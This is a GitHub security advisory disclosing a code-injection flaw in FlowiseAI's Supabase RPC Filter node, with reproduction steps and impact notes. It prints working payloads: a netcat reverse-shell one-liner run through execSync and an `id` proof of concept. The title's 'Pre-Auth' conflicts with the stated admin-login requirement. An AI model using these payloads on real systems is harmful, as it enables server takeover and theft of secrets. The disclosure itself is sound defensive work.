GHSA-7944-7c6r-55vv FlowiseAI Pre-Auth Arbitrary Code Execution
SummaryAn authenticated admin user of **FlowiseAI** can exploit the **Supabase RPC Filter** component to execute **arbitrary server-side code** without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's `execSync()` to launch reverse shells, access environment secrets, or perform any OS-level command execution.This results in **full server compromise** and severe breach of trust boundaries between frontend input and backend execution logic.DetailsFlowiseAI includes a component called `Supabase.ts`, located at: `packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237`This creates a function from user-provided string `supabaseRPCFilter` with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed **immediately** when the node is triggered.ExploitWe configured our environment to use Supabase entities as follows:To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:![image-1](https://github.com/user-attachments/assets/34e71d47-6ecb-4a93-af0f-3526696f16e6)
![image-2](https://github.com/user-attachments/assets/a512537c-caa9-4f70-a7be-1e75a622c06e)This results in the **JWT secret being printed** to the frontend, confirming access to server-side environment variables.Subsequently, a **reverse shell** was successfully established using:`filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)`This proves arbitrary OS-level command execution is possible **within the FlowiseAI backend runtime context**.Steps to ReproduceDeploy a FlowiseAI instance with the Supabase vector store enabled.Login as an admin user.Drag in a `Supabase` node and configure "Supabase RPC Filter".Insert a malicious payload in the filter expression, such as:`process.mainModule.require("child_process").execSync("id")`Trigger the chatbot or workflow to activate the node.Observe execution of arbitrary code on the backend.Impact**Remote Code Execution** (RCE): Full OS-level code execution from frontend user input.**Environment Leakage**: Access to sensitive env variables like `JWT_REFRESH_TOKEN_SECRET`.**Reverse Shells**: Ability to connect out of the server and gain interactive remote shell access.**Persistence Risk**: Attacker can install malware, establish persistence, or exfiltrate data.**LLM Prompt Tampering**: Malicious outputs may be injected back into LLM chains.Trust Boundary ViolationThe vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (`supabaseRPCFilter`) becomes part of **compiled JavaScript logic**, blending user-controlled input with trusted backend execution.This violates **OWASP LLM Top 10 - LLM-06: Sensitive Code Execution**, especially in low-code / visual LLM agents.Evidence*Environment variable leakage via malformed JSON**Reverse shell successfully triggered using attacker-controlled input*Credit**This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)**
CVSS v3.1 score: 9.1